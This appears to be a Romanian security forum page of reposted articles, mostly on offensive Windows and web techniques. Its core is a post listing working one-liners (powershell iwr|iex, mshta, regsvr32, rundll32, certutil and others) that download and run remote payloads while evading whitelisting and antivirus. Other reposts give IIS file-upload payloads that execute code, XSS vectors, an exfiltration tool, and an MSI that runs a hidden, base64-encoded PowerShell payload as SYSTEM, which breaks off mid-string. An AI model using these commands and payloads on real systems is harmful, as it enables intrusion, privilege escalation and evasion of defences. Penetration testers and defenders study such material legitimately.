Nytro

Un tip Slick facuse acel program (Conquistador killer) si era admin aici pe forum. Se poate face acel program si pentru alte jocuri de acel gen. Daca il cumparai, il putea si crackui si nu te mai interesa de licenta lui, nu?

Investiti in oua. Multumiti-mi mai tarziu.

48$ pe an? Cu banii astia imi iau Yahoo! Premium/Pro, tot atat este. </joke>

La eMAG sunt ceva reduceri cu voucher "eMAG16ani". Reducerile (la multe produse) sunt mici, dar pe bune. Orice produs, reducere 5%. Ma uitasem la Huawei Mate 10 Pro, reducerea e reala de 170 RON. La anumite categorii sunt reduceri de 10%-20%-30%. Poate va ajuta.

Nu am idee. Ar putea sa dea un semn daca mai sunt pe aici.

Why <blank> Gets You Root https://objective-see.com/blog/blog_0x24.html

Ai vreun 0day de care nu vrei sa ne spui? Batman poate scrie si exploit-uri de kernel daca vrea...

Change the root password Choose Apple menu () > System Preferences, then click Users & Groups (or Accounts). Click , then enter an administrator name and password. Click Login Options. Click Join (or Edit). Click Open Directory Utility. Click in the Directory Utility window, then enter an administrator name and password. From the menu bar in Directory Utility, choose Edit > Change Root Password… Enter a root password when prompted. Via: https://support.apple.com/en-us/HT204012

Inca una de cacat dupa cea cu parola in loc de hint. Nu mai au buget pentru developeri buni?

Syscall Monitor Introduction This is a process monitoring tool (like Sysinternal's Process Monitor) implemented with Intel VT-X/EPT for Windows 7+. Develop Environment Visual Studio 2015 update 3 Windows SDK 10 Windows Driver Kit 10 QT5.7 for MSVC Deployment QT GUI project: SyscallMonQT/SyscallMonQT.pro Windows kernel driver project: ddimon/DdiMon/DdiMon.vcxproj Remember to modify the shadow build path to /build32 or /build64 when configure the QT project Remember to modify the windeploy.exe path in deploy32/deploy64.bat, run deploy32/64.bat to deploy x86/x64 binary files to bin32/bin64 Remember to sign the x64 kernel driver file Platform x86 and x64 Windows 7, 8.1 and 10 CPU with Intel VT-x and EPT technology support Reference & Thanks BOOST http://www.boost.org/ QT https://www.qt.io/ HyperPlatform https://github.com/tandasat/HyperPlatform Capstone http://www.capstone-engine.org/ TODO 1.Optimize the memory usage issue. Screenshots Sursa: https://github.com/hzqst/Syscall-Monitor

Windows oneliners to download remote payload and execute arbitrary code 20 novembre 2017 arno0x0x In the wake of the recent buzz and trend in using DDE for executing arbitrary command lines and eventually compromising a system, I asked myself « what are the coolest command lines an attacker could use besides the famous powershell oneliner » ? These command lines need to fulfill the following prerequisites: allow for execution of arbitrary code – because spawning calc.exe is cool, but has its limits huh ? allow for downloading its payload from a remote server – because your super malware/RAT/agent will probably not fit into a single command line, does it ? be proxy aware – because which company doesn’t use a web proxy for outgoing traffic nowadays ? make use of as standard and widely deployed Microsoft binaries as possible – because you want this command line to execute on as much systems as possible be EDR friendly – oh well, Office spawning cmd.exe is already a bad sign, but what about powershell.exe or cscript.exe downloading stuff from the internet ? work in memory only – because your final payload might get caught by AV when written on disk A lot of awesome work has been done by a lot of people, especially @subTee, regarding application whitelisting bypass, which is eventually what we want: execute arbitrary code abusing Microsoft built-in binaries. Let’s be clear that not all command lines will fulfill all of the above points. Especially the « do not write the payload on disk » one, because most of the time the downloaded file will end-up in a local cache. When it comes to downloading a payload from a remote server, it basically boils down to 3 options: either the command itself accepts an HTTP URL as one of its arguments the command accepts a UNC path (pointing to a WebDAV server) the command can execute a small inline script with a download cradle Depending on the version of Windows (7, 10), the local cache for objects downloaded over HTTP will be the IE local cache, in one the following location: C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\ C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir> On the other hand, files accessed via a UNC path pointing to a WebDAV server will be saved in the WebDAV client local cache: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV When using a UNC path to point to the WebDAV server hosting the payload, keep in mind that it will only work if the WebClient service is started. In case it’s not started, in order to start it even from a low privileged user, simply prepend your command line with « pushd \\webdavserver & popd ». In all of the following scenarios, I’ll mention which process is seen as performing the network traffic and where the payload is written on disk. Powershell Ok, this is by far the most famous one, but also probably the most monitored one, if not blocked. A well known proxy friendly command line is the following: 1 powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex" Process performing network call: powershell.exe Payload written on disk: NO (at least nowhere I could find using procmon !) Of course you could also use its encoded counterpart. But you can also call the payload directly from a WebDAV server: 1 powershell -exec bypass -f \\webdavserver\folder\payload.ps1 Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache Cmd Why make things complicated when you can have cmd.exe executing a batch file ? Especially when that batch file can not only execute a series of commands but also, more importantly, embed any file type (scripting, executable, anything that you can think of !). Have a look at my Invoke-EmbedInBatch.ps1 script (heavily inspired by @xorrior work), and see that you can easily drop any binary, dll, script: https://github.com/Arno0x/PowerShellScripts So once you’ve been creative with your payload as a batch file, go for it: 1 cmd.exe /k < \\webdavserver\folder\batchfile.txt Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache Cscript/Wscript Also very common, but the idea here is to download the payload from a remote server in one command line: 1 cscript //E:jscript \\webdavserver\folder\payload.txt Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache Mshta Mshta really is the same family as cscript/wscript but with the added capability of executing an inline script which will download and execute a scriptlet as a payload: 1 mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) Process performing network call: mshta.exe Payload written on disk: IE local cache You could also do a much simpler trick since mshta accepts a URL as an argument to execute an HTA file: 1 mshta http://webserver/payload.hta Process performing network call: mshta.exe Payload written on disk: IE local cache Eventually, the following also works, with the advantage of hiding mshta.exe downloading stuff: 1 mshta \\webdavserver\folder\payload.hta Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache Rundll32 A well known one as well, can be used in different ways. First one is referring to a standard DLL using a UNC path: 1 rundll32 \\webdavserver\folder\payload.dll,entrypoint Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache Rundll32 can also be used to call some inline jscript: 1 rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); Process performing network call: rundll32.exe Payload written on disk: IE local cache Regasm/Regsvc Regasm and Regsvc are one of those fancy application whitelisting bypass techniques discovered by @subTee. You need to create a specific DLL (can be written in .Net/C#) that will expose the proper interfaces, and you can then call it over WebDAV: 1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache Regsvr32 Another one from @subTee. This ones requires a slightly different scriptlet from the mshta one above. First option: 1 regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll Process performing network call: regsvr32.exe Payload written on disk: IE local cache Second option using UNC/WebDAV: 1 regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache Odbcconf This one is close to the regsvr32 one. Also discovered by @subTee, it can execute a DLL exposing a specific function. To be noted is that the DLL file doesn’t need to have the .dll extension. It can be downloaded using UNC/WebDAV: 1 odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache Msbuild Let’s keep going with all these .Net framework utilities discovered by @subTee. You can NOT use msbuild.exe using an inline tasks straight from a UNC path (actually, you can but it gets really messy), so I turned out with the following trick, using msbuild.exe only. Note that it will require to be called within a shell with ENABLEDELAYEDEXPANSION (/V option): 1 cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache Not sure this one is really useful as is. As we’ll see later, we could use other means of downloading the file locally, and then execute it with msbuild.exe. Combining some commands After all, having the possibility to execute a command line (from DDE for instance) doesn’t mean you should restrict yourself to only one command. Commands can be chained to reach an objective. For instance, the whole payload download part can be done with certutil.exe, again thanks to @subTee for discovering this: 1 certutil -urlcache -split -f http://webserver/payload payload Now combining some commands in one line, with the InstallUtil.exe executing a specific DLL as a payload: 1 certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll You could simply deliver an executable: 1 certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe There are probably much other ways of achieving the same result, but these command lines do the job while fulfilling most of prerequisites we set at the beginning of this post ! One may wonder why I do not mention the usage of the bitsadmin utility as a means of downloading a payload. I’ve left this one aside on purpose simply because it’s not proxy aware. Payloads source examples All the command lines previously cited make use of specific payloads: Various scriplets (.sct), for mshta, rundll32 or regsvr32 HTML Application (.hta) MSBuild inline tasks (.xml or .csproj) DLL for InstallUtil or Regasm/Regsvc You can get examples of most payloads from the awesome atomic-red-team repo on Github: https://github.com/redcanaryco/atomic-red-team from @redcanaryco. You can also get all these payloads automatically generated thanks to the GreatSCT project on Github: https://github.com/GreatSCT/GreatSCT You can also find some other examples on my gist: https://gist.github.com/Arno0x Sursa: https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/

SG1 _______ _,.--==###\_/=###=-.._ ..-' _.--\\_//---. `-.. ./' ,--'' \_/ `---. `\. ./ \ .,-' _,,......__ `-. / \. /`. ./\' _,.--'':_:'"`:'`-..._ /\. .'\ / .'`./ ,-':":._.:":._.:"+._.:`:. \.'`. `. ,' // .-''"`:_:'"`:_:'"`:_:'"`:_:'`. \ \ / ,' /'":._.:":._.:":._.:":._.:":._.`. `. \ / / ,'`:_:'"`:_:'"`:_:'"`:_:'"`:_:'"`:_\ \ \ ,\\ ; /_.:":._.:":._.:":._.:":._.:":._.:":\ ://, / \\ /'"`:_:'"`:_:'"`:_:'"`:_:'"`:_:'"`:_:'\ // \. |//_ \ ':._.:":._.+":._.:":._.:":._.:":._.:":._\ / _\\ \ /___../ /_:'"`:_:'"`:_:'"`:_:'"`:_:'"`:_:'"`:_:'"'. \..__ | | | '":._.:":._.:":._.:":._.:":._.:":._.:":._.| | | | | |-:'"`:_:'"`:_:'"`:_:'"`:_:'"`:_:'"`:_:'"`| | | | | |":._.:":._.:":._.:":._.:":._.+":._.:":._.| | | | : |_:'"`:_:'"`:_+'"`:_:'"`:_:'"`:_:'"`:_:'"`| ; | | \ \.:._.:":._.:":._.:":._.:":._.:":._.:":._| / | \ : \:'"`:_:'"`:_:'"`:_:'"`:_:'"`:_:'"`:_:'.' ; | \ : \._.:":._.:":._.:":._.:":._.:":._.:":,' ; / `. \ \..--:'"`:_:'"`:_:'"`:_:'"`:_:'"`-../ / / `__.`.'' _..+'._.:":._.:":._.:":._.:":.`+._ `-,:__` .-'' _ -' .'| _________________________ |`.`-. `-.._ _____' _..-|| :.' .+/;;';`;`;;:`)+(':;;';',`\;\|. `,'|`-. `_____ MJP .-' .'.' :- ,'/,',','/ /./|\.\ \`,`,-,`.`. : `||-.`-._ .' ||.-' ,','/,' / / / + : + \ \ \ `,\ \ `.`-|| `. `-. .-' |' _','<', ,' / / // | \\ \ \ `, ,`.`. `. `. `-. : - `. `. BECAUSE REASONS SG1 is a wanna be swiss army knife for data encryption, exfiltration and covert communication. In its core sg1 aims to be as simple to use as nc while maintaining high modularity internally, being a framework for bizarre exfiltration, data manipulation and transfer methods. Have you ever thought to have your chats or data transfers tunneled through encrypted, private and self deleting pastebins? What about sending that stuff to some dns client -> dns server bridge? Then TLS maybe? WORK IN PROGRESS, DON'T JUDGE Installation Make sure you have at least go 1.8 in order to build sg1, then: go get github.com/miekg/dns go get github.com/evilsocket/sg1 cd $GOPATH/src/github.com/evilsocket/sg1/ make If you want to build for a different OS and / or architecture, you can instead do: GOOS=windows GOARCH=386 make After compilation, you will find the sg1 binary inside the build folder, you can start with taking a look at the help menu: ./build/sg1 -h Sursa: https://github.com/evilsocket/sg1

Why BlackList < WhiteList 22 Nov 2017 Often, when you write the code, which is responsible for file uploading, you check the extensions of downloaded file with using “whitelist” (when you can upload only files with certain extensions) or “blacklist” (when you can upload any files which are not included in the list). After the @ldionmarcil’s post, I decided to understand how popular web-servers interact with various types of extensions. Firstly, I was interested in which content-type is returned by the web-server on different file types. Developers usually include only well-known and obvious extensions in the blacklist. In the article, I want to consider not the wide-spreading file types. For demonstration PoC, I used the following payloads: Basic XSS payload: <script>alert(1337)</script> XML-based XSS payload: <a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1337)</a:script> Below I’ll show the results of this little research. IIS web server By default, IIS responds with the text/html content-type on the file types, which presented in list below: Extensions with basic vector: .cer .hxt .htm Therefore, it is possible to paste the basic XSS vector in the uploaded file, and we will get an alert box in browser after opening the document. The list below includes extensions on which IIS responds with the content-type which allow to execute XSS via XML-based vector. Extensions with XML-based vector: .dtd .mno .vml .xsl .xht .svg .xml .xsd .xsf .svgz .xslt .wsdl .xhtml By default, IIS also supports SSI, however exec section is prohibited for the security reasons Extensions for SSI: .stm .shtm .shtml More detailed information about SSI is written in the post by @ldionmarcil In addition: There are also two other interesting extensions (.asmx and .soap) that could lead to arbitrary code execution. It was discovered in collaboration with Yury Aleinov (@YuryAleinov). Asmx extension If you can upload file with .asmx extension, it can lead to arbitrary code execution. For example, we took file with the following content: <%@ WebService Language="C#" Class="MyClass" %> using System.Web.Services; using System; using System.Diagnostics; [WebService(Namespace="")] public class MyClass : WebService { [WebMethod] public string Pwn_Function() { Process.Start("calc.exe"); return "PWNED"; } } Then we sent POST request to the uploaded document: POST /1.asmx HTTP/1.1 Host: localhost Content-Type: application/soap+xml; charset=utf-8 Content-Length: 287 <?xml version="1.0" encoding="utf-8"?> <soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope"> <soap12:Body> <Pwn_Function/> </soap12:Body> </soap12:Envelope> As the result, IIS executed “calc.exe” Soap extension Contents of uploaded file with .soap extension: <%@ WebService Language="C#" Class="MyClass" %> using System.Web.Services; using System; public class MyClass : MarshalByRefObject { public MyClass() { System.Diagnostics.Process.Start("calc.exe"); } } SOAP request: POST /1.soap HTTP/1.1 Host: localhost Content-Length: 283 Content-Type: text/xml; charset=utf-8 SOAPAction: "/" <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <MyFunction /> </soap:Body> </soap:Envelope> Apache (httpd or Tomcat) Extensions with basic vector: .shtml .html.de or .html.xxx (xxx – any characters)* Extensions with XML-based vector: .rdf .xht .xml .xsl .svg .xhtml .svgz * if there are any characters after “.html.” in the extension, Apache will respond with text/html content-type. In addition: Apache returns response without Content-type header on a large number of files with different extensions, which allows an XSS attack, because browser often decides how to handle this page by itself. This article includes detailed information about this question. For example, files with the .xbl and .xml extension are processed similar in Firefox (if there is no Content-Type header in the response), so there is the possibility of exploiting XSS using XML-based vector in this browser. Nginx Extensions with basic vector: .htm Extensions with XML-based vector: .svg .xml .svgz Sursa: https://mike-n1.github.io/ExtensionsOverview

VEHICLE Viewstate Hidden Event Enumerator! An advanced toolset for testing modern web application frameworks and rich internet applications. VEHICLE (formerly known as ria-scip) is a pentest platform with advanced testing features for modern web application frameworks (MWAF) and rich internet applications (RIA). It enables testers to affect various server control properties and enumerate & execute dormant events of invisible, visible, disabled and commented server web controls (currently supported for ASP.net and Mono). These features are implemeted by abusing application mis-configurations and framework-specific programming flaws, and by manipulating proprietary input formats. The project is implemented as an extension to the OWASP Zed Attack Proxy (ZAP) project. Developed by Hacktics ASC Link: https://github.com/hacktics/vehicle

Monitor activity of any driver Link: https://github.com/zodiacon/DriverMon

Alternative methods of becoming SYSTEM Posted on 20th November 2017 Tagged in redteam, windows, meterpreter For many pentesters, Meterpreter's getsystem command has become the default method of gaining SYSTEM account privileges, but have you ever have wondered just how this works behind the scenes? In this post I will show the details of how this technique works, and explore a couple of methods which are not quite as popular, but may help evade detection on those tricky redteam engagements. Meterpreter's "getsystem" Most of you will have used the getsystem module in Meterpreter before. For those that haven't, getsystem is a module offered by the Metasploit-Framework which allows an administrative account to escalate to the local SYSTEM account, usually from local Administrator. Before continuing we first need to understand a little on how a process can impersonate another user. Impersonation is a useful method provided by Windows in which a process can impersonate another user's security context. For example, if a process acting as a FTP server allows a user to authenticate and only wants to allow access to files owned by a particular user, the process can impersonate that user account and allow Windows to enforce security. To facilitate impersonation, Windows exposes numerous native API's to developers, for example: ImpersonateNamedPipeClient ImpersonateLoggedOnUser ReturnToSelf LogonUser OpenProcessToken Of these, the ImpersonateNamedPipeClient API call is key to the getsystem module's functionality, and takes credit for how it achieves its privilege escalation. This API call allows a process to impersonate the access token of another process which connects to a named pipe and performs a write of data to that pipe (that last requirement is important ;). For example, if a process belonging to "victim" connects and writes to a named pipe belonging to "attacker", the attacker can call ImpersonateNamedPipeClient to retrieve an impersonation token belonging to "victim", and therefore impersonate this user. Obviously, this opens up a huge security hole, and for this reason a process must hold the SeImpersonatePrivilege privilege. This privilege is by default only available to a number of high privileged users: This does however mean that a local Administrator account can use ImpersonateNamedPipeClient, which is exactly how getsystem works: getsystem creates a new Windows service, set to run as SYSTEM, which when started connects to a named pipe. getsystem spawns a process, which creates a named pipe and awaits a connection from the service. The Windows service is started, causing a connection to be made to the named pipe. The process receives the connection, and calls ImpersonateNamedPipeClient, resulting in an impersonation token being created for the SYSTEM user. All that is left to do is to spawn cmd.exe with the newly gathered SYSTEM impersonation token, and we have a SYSTEM privileged process. To show how this can be achieved outside of the Meterpreter-Framework, I've previously released a simple tool which will spawn a SYSTEM shell when executed. This tool follows the same steps as above, and can be found on my github account here. To see how this works when executed, a demo can be found below: Now that we have an idea just how getsystem works, let's look at a few alternative methods which can allow you to grab SYSTEM. MSIExec method For anyone unlucky enough to follow me on Twitter, you may have seen my recent tweet about using a .MSI package to spawn a SYSTEM process: Twitter Ads info and privacy This came about after a bit of research into the DOQU 2.0 malware I was doing, in which this APT actor was delivering malware packaged within a MSI file. It turns out that a benefit of launching your code via an MSI are the SYSTEM privileges that you gain during the install process. To understand how this works, we need to look at WIX Toolset, which is an open source project used to create MSI files from XML build scripts. The WIX Framework is made up of several tools, but the two that we will focus on are: candle.exe - Takes a .WIX XML file and outputs a .WIXOBJ light.exe - Takes a .WIXOBJ and creates a .MSI Reviewing the documentation for WIX, we see that custom actions are provided, which give the developer a way to launch scripts and processes during the install process. Within the CustomAction documentation, we see something interesting: This documents a simple way in which a MSI can be used to launch processes as SYSTEM, by providing a custom action with an Impersonate attribute set to false. When crafted, our WIX file will look like this: <?xml version="1.0"?> <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name" Version="0.0.1" Manufacturer="@_xpn_" Language="1033"> <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/> <Media Id="1" Cabinet="product.cab" EmbedCab="yes"/> <Directory Id="TARGETDIR" Name="SourceDir"> <Directory Id="ProgramFilesFolder"> <Directory Id="INSTALLLOCATION" Name="Example"> <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222"> <File Id="ApplicationFile1" Source="example.exe"/> </Component> </Directory> </Directory> </Directory> <Feature Id="DefaultFeature" Level="1"> <ComponentRef Id="ApplicationFiles"/> </Feature> <Property Id="cmdline">powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEARABlAGgAQQBGAG8AQwBBADcAVgBXAGIAVwAvAGEAUwBCAEQAKwBuAEUAcgA5AEQAMQBhAEYAaABLADAAUwBEAEkAUwBVAEoAbABLAGwAVwAvAE8AZQBBAEkARQA0AEcAQQBoAEYAcAA0ADIAOQBOAGcAdQBMADEAMQAyAHYAZQBlAHYAMQB2ADkAOABZADcASgBTAHEAeQBWADIAdgAwAGwAbQBKADIAUABYAE8ANwBEADcAegB6AEQATQA3AGQAaQBQAGYAbABwAFQANwBTAHIAZwBZADMAVwArAFgAZQBLADEAOABmAGYAdgBtAHIASQA4AEYAWABpAGwAcQBaAHQAMABjAFAAeABRAHIAKwA0AEQAdwBmAGsANwBKAGkASABFAHoATQBNAGoAVgBwAGQAWABUAHoAcwA3AEEASwBpAE8AVwBmADcAYgB0AFYAYQBHAHMAZgBGAEwAVQBLAFEAcQBDAEcAbAA5AGgANgBzACsAdQByADYAdQBSAEUATQBTAFgAeAAzAG0AKwBTAFMAUQBLAFEANwBKADYAWQBwAFMARQBxAHEAYgA4AHAAWQB6AG0AUgBKAEQAegB1ADYAYwBGAHMAYQBYAHkAVgBjAG4AOABtAFcAOAB5AC8AbwBSAFoAWQByAGEAcgBZAG4AdABPAGwASABQAGsATwAvAEYAYQBoADkAcwA0AHgAcABnADMAQQAwAGEAbABtAHYAMwA4AE8AYQB0AE4AegA0AHUAegBmAFAAMQBMAGgARgBtAG8AWgBzADEAZABLAE0AawBxADcAegBDAFcAMQBaAFIAdgBXAG4AegBnAHcAeQA0AGcAYQByAFoATABiAGMARgBEADcAcwByADgAaQBQAG8AWABwAGYAegBRAEQANwBGAEwAZQByAEQAYgBtAG4AUwBKAG4ASABNAG4AegBHAG8AUQBDAGYAdwBKAEkAaQBQAGgASwA4ADgAeAB4AFoAcwBjAFQAZABRAHMARABQAHUAQwAyADgAaAB4AEIAQQBuAEIASQA5AC8AMgAxADMAeABKADEASQB3AGYATQBaAFoAVAAvAGwAQwBuAEMAWQBMADcAeQBKAGQAMABSAFcAQgBkAEUAcwBFAEQAawA0AGcAMQB0AFUAbQBZAGIAMgBIAGYAWQBlAFMAZQB1AEQATwAxAFIAegBaAHAANABMAC8AcQBwAEoANAA2AGcAVgBWAGYAQwBpADAASAAyAFgAawBGAGEAcABjADcARQBTAE4ASAA3ADYAegAyAE0AOQBqAFQAcgBHAHIAdwAvAEoAaABaAG8ATwBQAGIAMgB6AGQAdgAzADcAaQBwAE0ASwBMAHEAZQBuAGcAcQBDAGgAaQBkAFQAUQA5AGoAQQBuAGoAVgBQAGcALwBwAHcAZQA2AFQAVQBzAGcAcABYAFQAZwBWAFMAeQA1ADIATQBNADAAOABpAEkAaABvAE0AMgBVAGEANQAyAEkANgBtAHkAawBaAHUANwBnAHEANQBsADcAMwBMADYAYgBHAFkARQBxAHMAZQBjAEcAeAB1AGwAVgA0AFAAYgBVADQAZABXAGIAZwBsAG0AUQBxAHMANgA2AEkAWABxAGwAUwBpAFoAZABlAEYAMQAyAE4AdQBOAFEAbgB0AFoAMgBQAFYAOQBSAE8AZABhAFcAKwBSAEQAOQB4AEcAVABtAEUAbQBrAC8ATgBlAG8AQgBOAHoAUwBZAEwAeABLAGsAUgBSAGoAdwBzAFkAegBKAHoAeQB2AFIAbgB0AC8AcQBLAHkAbQBkAGYASQA2AEwATQBJAFEATABaAGsATQBJAFEAVQBFAEYAMgB0AFIALwBCAEgAUABPAGoAWgB0AHQAKwBsADYAeQBBAHEAdQBNADgAQwAyAGwAdwBRAGMAMABrAHQAVQA0AFUAdgBFAHQAUABqACsAZABnAGwASwAwAHkASABJAFkANQBwAFIAOQBCAE8AZABrADUAeABTAFMAWQBFAFMAZQBuAEkARAArAGsAeQBSAEsASwBKAEQAOABNAHMAOQAvAGgAZABpAE0AbQBxAFkAMQBEAG0AVwA0ADMAMAAwADYAbwBUAEkANgBzAGMAagArAFUASQByAEkAaABnAFIARAArAGcAeABrAFEAbQAyAEkAVwBzADUARgBUAFcAdABRAGgAeABzADYAawBYAG4AcAAwADkAawBVAHUAcQBwAGcAeAA2AG4AdQB3ADAAeABwAHkAQQBXADkAaQBEAGsAdwBaAHkAMABJAEEAeQBvAE0ARQB0AEwAeABKAFoASABzAFYATQBMAEkAQwBtADAATgBwAE4AeABqADIAbwBKAEMAVABVAGoAagBvAEMASAB2AEUAeQBiADQAQQBNAGwAWAA2AFUAZABZAHgASQB5AGsAVgBKAHgAQQBoAHoAUwBiAGoATQBxAGQAWQBWAEUAaQA0AEoARwBKADIAVQAwAG4AOQBIAG8AcQBUAEsAeQBMAEYAVQB4AFUAawB5AFkAdQBhAFYAcwAzAFUAMgBNAGwAWQA2ADUAbgA5ADMAcgBEADIAcwBVAEkAVABpAGcANgBFAEMAQQBsAGsATgBBAFIAZgBHAFQAZwBrAEgAOABxAG0ARgBFAEMAVgArAGsANgAvAG8AMQBVAEUAegA2AFQAdABzADYANQB0AEwARwBrAFIAYgBXAGkAeAAzAFkAWAAvAEkAYgAxAG8AOAAxAHIARgB1AGIAMQBaAHQASABSAFIAMgA4ADUAZAAxAEEANwBiADMAVgBhAC8ATgBtAGkAMQB5AHUAcwBiADAAeQBwAEwAcwA5ADYAVwB0AC8AMgAyADcATgBiAEgAaQA0AFcASgBXAHYAZgBEAGkAWAB4AHMAbwA5AFkARABMAFMAdwBuADUAWAAxAHcAUQAvAGQAbQBCAHoAbQBUAHIAZgA1AGgAYgArAHcAMwBCAFcATwA3AFgAMwBpAE8ATwA2AG0ANQByAGwAZAB4AHoAZgB2AGkAWgBZAE4AMgBSAHQAVwBCAFUAUwBqAGgAVABxADAAZQBkAFUAYgBHAHgAaQBpAFUAdwB6AHIAZAB0AEEAWgAwAE8ARgBqAGUATgBPAFQAVAB4AEcASgA0ADYATwByAGUAdQBIAGkARgA2AGIAWQBqAEYAbABhAFIAZAAvAGQAdABoAEoAcgB6AEMAMwB0AC8ANAAxAHIATgBlAGQAZgBaAFQAVgByADYAMQBhAGkAOABSAEgAVwBFAHEAbgA3AGQAYQBoAGoAOABkAG0ASQBJADEATgBjAHQANwBBAFgAYwAzAFUAQwBRAEkANgArAEsAagBJAFoATgB5AGUATgBnADIARABBAEcAZwA0AGEAQgBoAHMAMwBGAGwAOQBxAFYANwBvAEgAdgBHAE0AKwBOAGsAVgBXAGkAagA4AEgANABmAGcANwB6AEIAawBDADQAMQBRAHYAbAB0AGsAUAAyAGYARABJAEEALwB5AFoASAAyAEwAcwBIAEcANgA5AGEAcwB1AGMAdQAyAE4AVABlAEkAKwBOADkAagA0AGMAbAB2AEQAUQA0AE0AcwBDAG0AOABmAGcARgBjAEUAMgBDAFIAcAAvAEIAKwBzAE8AdwB4AEoASABGAGUAbQBPAE0ATwBvACsANwBoAHEANABYAEoALwAwAHkAYQBoAFgAbwBxAE8AbQBoAGUARQB2AHMARwBRAE8ATQB3AG4AVgB0AFgAOQBPAEwAbABzAE8AZAAwAFcAVgB2ADQAdQByAFcAbQBGAFgAMABXAHYAVQBoAHMARgAxAGQAMQB6AGUAdAAyAHEAMwA5AFcATgB4ACsAdgBLAHQAOAA3AEkAeQBvAHQAZQBKAG8AcQBPAHYAVwB1ADEAZwBiAEkASQA0AE0ARwBlAC8ARwBuAGMAdQBUAGoATAA5ADIAcgBYAGUAeABDAE8AZQBZAGcAUgBMAGcAcgBrADYAcgBzAGMARgBGAEkANwBsAHcAKwA1AHoARwBIAHEAcgA2ADMASgBHAFgAUgBQAGkARQBRAGYAdQBDAEIAcABjAEsARwBqAEgARwA3AGIAZwBMAEgASwA1AG4ANgBFAEQASAB2AGoAQwBEAG8AaAB6AEMAOABLAEwAMAA0AGsAaABUAG4AZwAyADEANwA1ADAAaABmAFgAVgA5AC8AUQBoAEkAbwBUAHcATwA0AHMAMQAzAGkATwAvAEoAZQBhADYAdwB2AFMAZwBVADQARwBvAHYAYgBNAHMARgBDAFAAYgBYAHcANgB2AHkAWQBLAGMAZQA5ADgAcgBGAHYAUwBHAGgANgBIAGwALwBkAHQAaABmAGkAOABzAG0ARQB4AG4ARwAvADAAOQBkAFUAcQA5AHoAKwBIAEgAKwBqAGIAcgB2ADcALwA1AGgAOQBaAGYAbwBMAE8AVABTAHcASAA5AGEAKwBQAEgARgBmAHkATAAzAHQAdwBnAFkAWQBTAHIAQgAyAG8AUgBiAGgANQBGAGoARgAzAHkAWgBoADAAUQB0AEoAeAA4AFAAawBDAEIAUQBnAHAAcwA4ADgAVABmAGMAWABTAFQAUABlAC8AQgBKADgAVABmAEIATwBiAEwANgBRAGcAbwBBAEEAQQA9AD0AJwAnACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAS